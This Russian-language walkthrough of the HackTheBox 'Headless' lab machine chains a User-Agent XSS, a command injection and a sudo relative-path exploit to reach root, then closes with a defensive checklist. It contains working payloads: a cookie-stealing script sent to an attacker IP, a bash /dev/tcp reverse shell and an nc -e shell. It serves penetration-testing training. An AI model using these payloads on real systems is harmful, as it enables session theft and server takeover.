Перейти к содержимому

HTB Headless прохождение: от XSS в User-Agent до root через sudo

HTB Headless прохождение: от XSS в User-Agent до root через sudo
Время чтения: 11 мин.

XSS (Cross-Site Scripting — внедрение вредоносного JavaScript-кода, который выполняется в браузере жертвы) сидит в OWASP Top 10 2021 под категорией A03: Injection — и никуда оттуда не денется. Но вот что интересно: начинающие пентестеры проверяют XSS в полях ввода форм и на этом останавливаются. HTTP-заголовки? «Это же серверные данные, зачем их тестировать?» На машине Headless именно заголовок User-Agent становится вектором, через который угоняется cookie администратора и раскручивается цепочка до полного захвата сервера. Разберём весь путь: от первого сканирования до root-флага.

Зачем это знать: уязвимость сама по себе — полдела. Ценность Headless в том, что здесь пять техник собираются в одну цепочку (kill chain — последовательность шагов атаки от первого контакта до цели). Каждое звено по отдельности выглядит безобидно. Вместе — root.

  1. Initial Access — Exploit Public-Facing Application (MITRE ATT&CK T1190). XSS-уязвимость в форме обратной связи. Приложение фильтрует тело запроса, но отображает HTTP-заголовки без экранирования.
  2. Credential Access — Steal Web Session Cookie (T1539). Через XSS-payload в заголовке User-Agent крадём сессионную cookie администратора. Cookie улетает на наш HTTP-сервер.
  3. Lateral Movement — Web Session Cookie (T1550.004). Подставляем украденную cookie в браузер и попадаем в закрытую административную панель.
  4. Execution — Unix Shell (T1059.004). На панели находим form-параметр, значение которого передаётся напрямую в shell-команду. Через command injection (ситуация, когда пользовательский ввод исполняется как системная команда) получаем reverse shell — целевая машина сама соединяется с нашей.
  5. Privilege Escalation — Sudo and Sudo Caching (T1548.003). Пользователь dvir может запускать скрипт syscheck от root через sudo (программа, дающая право выполнить команду от имени суперпользователя) без пароля. Скрипт вызывает initdb.sh по относительному пути — создаём свой файл с таким именем и получаем root.

По классификации OWASP Top 10 (рейтинг критичных рисков веб-приложений) здесь задействованы A03:2021 — Injection (XSS и command injection) и A01:2021 — Broken Access Control (cookie без флага HttpOnly, доступ к дашборду определяется только значением cookie).

Контекст применимости: CTF-среда, легаси-конфигурация веб-приложения без WAF и без CSP-заголовков, Linux без EDR/auditd.

Требования к окружению

Перед началом убедитесь, что у вас есть:

  • ОС: Kali Linux 2023.x+ или другой дистрибутив с инструментами пентеста (Parrot OS, BlackArch)
  • RAM: минимум 4 ГБ (Kali + Burp Suite Community Edition)
  • Сеть: активное VPN-подключение к HackTheBox (команда sudo openvpn your-lab.ovpn, проверка — ip addr show tun0 должен показать IP в диапазоне 10.10.x.x)
  • Инструменты: nmap, feroxbuster или dirsearch, Burp Suite Community/Pro (перехват HTTP-трафика), netcat (nc), Python 3, curl
  • Браузер: Firefox с прокси на Burp (127.0.0.1:8080) — чтобы видеть и модифицировать запросы на лету

Разведка: сканирование и обнаружение точек входа

Порты и сервисы

Первый шаг на любой машине — узнать, что торчит наружу. Запускаем nmap: nmap -p- --min-rate 10000 10.10.11.8. Флаг -p- проверяет все 65535 портов, --min-rate 10000 ускоряет сканирование (на HTB можно не стесняться — это не боевая сеть). Два открытых порта:

  • 22/tcp — SSH (OpenSSH 9.2p1 на Debian 12). Без учётных данных тут делать нечего — запомним на потом.
  • 5000/tcp — HTTP-сервер Werkzeug/2.2.2 на Python/3.11.2. Werkzeug — WSGI-библиотека, которая обычно стоит за Flask-приложениями (лёгкий веб-фреймворк на Python).

Детальное сканирование nmap -p 22,5000 -sCV 10.10.11.8 показывает в ответе сервера заголовок Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs. Сервер при первом же запросе выставляет cookie с именем is_admin. Значение InVzZXIi — base64 от строки "user". Уже понятно: приложение различает пользователей через эту cookie, а не через полноценную авторизацию. Это дырявая логика, и мы ей воспользуемся.

Перебор директорий

На веб-серверах часто есть страницы, которые не видны из навигации. Для обнаружения используем feroxbuster: feroxbuster -u http://10.10.11.8:5000. Результат:

  • / (код 200) — главная страница «Under Construction» со ссылкой на форму
  • /support (код 200) — форма обратной связи с полями имени, email, телефона и сообщения
  • /dashboard (код 500) — внутренняя ошибка сервера

Обратите внимание: /dashboard возвращает 500, а не 403 (запрещено). Приложение пытается обработать запрос, но падает — скорее всего, ожидает cookie с определённым значением. Именно ту is_admin, которую мы видели при сканировании.

Как работает фильтр формы

Страница /support содержит стандартную контактную форму. Отправка обычного текста проходит без проблем — ответ 200 OK. Но если вставить в поле message HTML-тег (например, <b>test</b>), приложение реагирует предупреждением «Hacking Attempt Detected» и отображает на странице все HTTP-заголовки запроса: User-Agent, Accept, Host и прочие.

Что происходит под капотом: приложение проверяет тело POST-запроса на наличие HTML/script-тегов. При обнаружении — логирует запрос вместе с заголовками для «анализа администратором» и рендерит их в HTML. Заголовки при этом не экранируются. Фильтр проверяет тело запроса, но слепо доверяет заголовкам. Классическая ошибка: разработчик считает заголовки «своими» данными, которые пользователь не контролирует. Но curl и Burp Suite позволяют подставить в User-Agent что угодно.

Вывод: если поместить XSS-payload в HTTP-заголовок (User-Agent), а в тело запроса вставить HTML-тег как триггер для срабатывания фильтра, скрипт из заголовка выполнится в браузере того, кто просматривает лог. А это администратор.

Работает если: приложение отображает HTTP-заголовки без экранирования; cookie не имеет флага HttpOnly (а значит, доступна из JavaScript); нет Content Security Policy, блокирующего inline-скрипты.

Не работает если: установлен CSP с script-src 'self' или строже; cookie помечена HttpOnly; WAF фильтрует содержимое заголовков на уровне прокси до приложения.

Для кражи cookie нужно два компонента: XSS-payload в заголовке и HTTP-сервер на вашей машине, который примет украденные данные.

Шаг 1. Запустите HTTP-сервер для приёма cookie. В отдельном терминале: python3 -m http.server 80. Ожидаемый вывод: строка Serving HTTP on 0.0.0.0 port 80. Сервер слушает и готов логировать входящие запросы.

Шаг 2. Отправьте запрос на /support с XSS-payload в заголовке User-Agent. В теле оставьте HTML-тег, чтобы сработал фильтр:

curl -X POST http://10.10.11.8:5000/support \
  -H 'User-Agent: <script>var i=new Image();i.src="http://YOUR_IP/?c="+document.cookie;</script>' \
  -d 'fname=test&lname=test&email=test@test.com&phone=1234567890&message=<b>x</b>'

Замените YOUR_IP на свой адрес в сети HTB (проверить: ip addr show tun0). Как работает payload: тег <script> создаёт объект Image и присваивает его атрибуту src адрес вашего сервера с cookie жертвы в GET-параметре c. Payload срабатывает, потому что приложение вставляет заголовок в HTML-контекст (заголовки рендерятся как текст в таблице лога, например <td>User-Agent-value</td>), а не в атрибут. Когда администратор откроет лог в браузере, скрипт выполнится и отправит его cookie к вам. Того же результата можно добиться через Burp Suite: перехватите POST к /support, в Repeater замените заголовок User-Agent на payload и отправьте.

Шаг 3. Подождите 30–60 секунд — приложение эмулирует проверку логов администратором. В терминале с HTTP-сервером появится GET-запрос вида GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1RBM.... Значение после c= — admin-cookie. ImFkbWluIg декодируется из base64 как "admin" (в отличие от InVzZXIi = "user"). Скопируйте полное значение cookie.

С admin-cookie мы получим доступ к /dashboard, который раньше отвечал ошибкой 500. Откройте Firefox, перейдите на http://10.10.11.8:5000, откройте DevTools (F12 → вкладка Storage → раздел Cookies). Найдите cookie is_admin и замените значение на то, что пришло на ваш сервер. Обновите страницу /dashboard.

Вместо ошибки — административная панель с кнопкой «Generate Report» и полем ввода даты. Это захват сессии (session hijacking) через украденную cookie — тактика T1550.004 в действии.

Command injection и получение shell

Нажмите «Generate Report» и перехватите запрос в Burp Suite (или посмотрите его в DevTools, вкладка Network). POST-запрос уходит на /dashboard с параметром date=2023-09-15. Серверная часть, судя по поведению, подставляет это значение напрямую в shell-команду — command injection в чистом виде.

Для проверки подставьте в Burp Repeater значение date=2023-09-15;id. Если в ответе появилась строка uid=1000(dvir) — инъекция подтверждена: приложение выполнило системную команду id.

Теперь получаем полноценный reverse shell. На своей машине запустите netcat: nc -lvnp 4444. Флаги: -l — слушать, -v — подробный вывод, -n — без DNS, -p 4444 — порт. Затем отправьте payload:

curl -X POST http://10.10.11.8:5000/dashboard \
  -b 'is_admin=ВСТАВЬТЕ_ADMIN_COOKIE_СЮДА' \
  --data-urlencode 'date=2023-09-15;bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"'

Замените cookie и IP на реальные значения. Флаг --data-urlencode кодирует спецсимволы (&, пробелы) для корректной передачи в теле запроса. Если на целевой машине стоит netcat-traditional (с флагом -e), альтернативный payload: date=2023-09-15;nc+YOUR_IP+4444+-e+/bin/bash. В терминале с netcat появится строка connect to [YOUR_IP] from ... — вы в shell от имени пользователя dvir.

Для удобства стабилизируйте shell: выполните script -qc /bin/bash /dev/null, затем Ctrl+Z, в своём терминале stty raw -echo; fg, Enter и export TERM=xterm. После этого появится нормальное приглашение с автодополнением и корректной обработкой Ctrl+C. Без стабилизации случайный Ctrl+C убьёт соединение — проверено на собственных нервах.

Флаг пользователя: cat /home/dvir/user.txt.

Повышение привилегий через sudo и syscheck

Анализ sudo-привилегий и скрипта

После получения shell от обычного пользователя — проверяем, что доступно через sudo. sudo -l (список разрешённых sudo-команд для текущего пользователя) покажет:

(ALL) NOPASSWD: /usr/bin/syscheck

Пользователь dvir может запустить /usr/bin/syscheck от root без пароля. Смотрим содержимое: cat /usr/bin/syscheck. Bash-скрипт, который проверяет состояние системы (запущенные процессы, место на диске) и в конце вызывает ./initdb.sh. Обратите внимание на точку и слеш — путь относительный. Bash ищет initdb.sh в текущей рабочей директории, а не по абсолютному пути вроде /usr/bin/initdb.sh. Это и есть уязвимость.

Эксплуатация относительного пути

Идея простая: создаём свой initdb.sh в директории, откуда запустим syscheck. Скрипт выполнит наш файл с правами root.

cd /tmp
echo '#!/bin/bash' > initdb.sh
echo '/bin/bash' >> initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck

Что происходит:

  1. cd /tmp — переходим в директорию с правами на запись.
  2. Создаём initdb.sh — скрипт из одной строки, который запускает bash.
  3. chmod +x initdb.sh — делаем файл исполняемым (без этого bash откажется его запускать).
  4. sudo /usr/bin/syscheck — запускаем syscheck от root. Скрипт дойдёт до строки ./initdb.sh, найдёт наш файл в текущей директории /tmp и выполнит его — откроется bash с правами root.

Приглашение сменится на root@headless:/tmp#. Проверяем: whoamiroot. Флаг: cat /root/root.txt.

Работает если: sudo-скрипт использует относительные пути для вызова других файлов; атакующий контролирует рабочую директорию; файл initdb.sh не существует по абсолютному пути, который мог бы иметь приоритет.

Не работает если: скрипт использует абсолютные пути (/usr/local/bin/initdb.sh); в sudoers настроен secure_path и env_reset; на скрипт установлен immutable-атрибут (chattr +i); AppArmor или SELinux ограничивают создание исполняемых файлов в /tmp.

Защитные меры: чеклист для разработчика

Headless — учебная машина, но каждая из этих уязвимостей встречается в продакшене. Готовый список действий:

  1. Экранирование заголовков. Все пользовательские данные — включая HTTP-заголовки — проходят output encoding перед рендерингом в HTML. Функция escape() в Jinja2 (шаблонизатор Flask) решает задачу.
  2. HttpOnly и Secure на cookie. Флаг HttpOnly запрещает доступ к cookie из JavaScript — XSS теряет возможность украсть сессию. Secure — передача только по HTTPS.
  3. Content Security Policy. Заголовок [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy): default-src 'self' блокирует inline-скрипты и загрузку ресурсов с внешних доменов.
  4. Параметризация команд. Вместо os.system('report ' + date) использовать [subprocess.run](https://docs.python.org/3/library/subprocess.html#subprocess.run)(['report', date]) — аргумент не интерпретируется shell.
  5. Абсолютные пути в sudo-скриптах. Каждый вызов внешнего файла в скрипте, запускаемом через sudo, должен быть абсолютным: /usr/local/bin/initdb.sh, не ./initdb.sh.
  6. Права на файлы. Скрипты, исполняемые от root, принадлежат root:root с правами 755 — другие пользователи не могут их изменить.

Headless — машина уровня Easy, но цепочка атак на ней точно отражает реальные паттерны. XSS в заголовках — не экзотика: подобное встречается в системах мониторинга, тикетных системах и даже в WAF-дашбордах, где HTTP-заголовки логируются и отображаются администраторам без экранирования. Разработчики считают заголовки «серверными данными» и не применяют к ним те же правила санитизации, что и для полей форм.

Три «несерьёзные» уязвимости собираются в полный захват сервера. XSS «всего лишь» в браузере, command injection «только» от обычного пользователя, относительный путь «всего лишь» в утилите мониторинга. Но вместе — root. По данным Verizon DBIR 2025, категория Basic Web Application Attacks составила 26% подтверждённых нарушений, и сложные цепочки из «мелочей» нередко начинаются с веб-вектора.

Не проходите Headless один раз по writeup и не забывайте. Пройдите второй раз через неделю без подсказок — замерьте, сколько шагов вспомните. На третий раз попробуйте написать правило детекции для каждого этапа: что бы увидел SOC-аналитик в логах на шаге XSS? На шаге command injection? Переключение между offensive- и defensive-мышлением формирует понимание, а не навык копирования команд. На курсе IB Basics эту связку «атака → детект → защита» разбирают на практике с лабами.

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.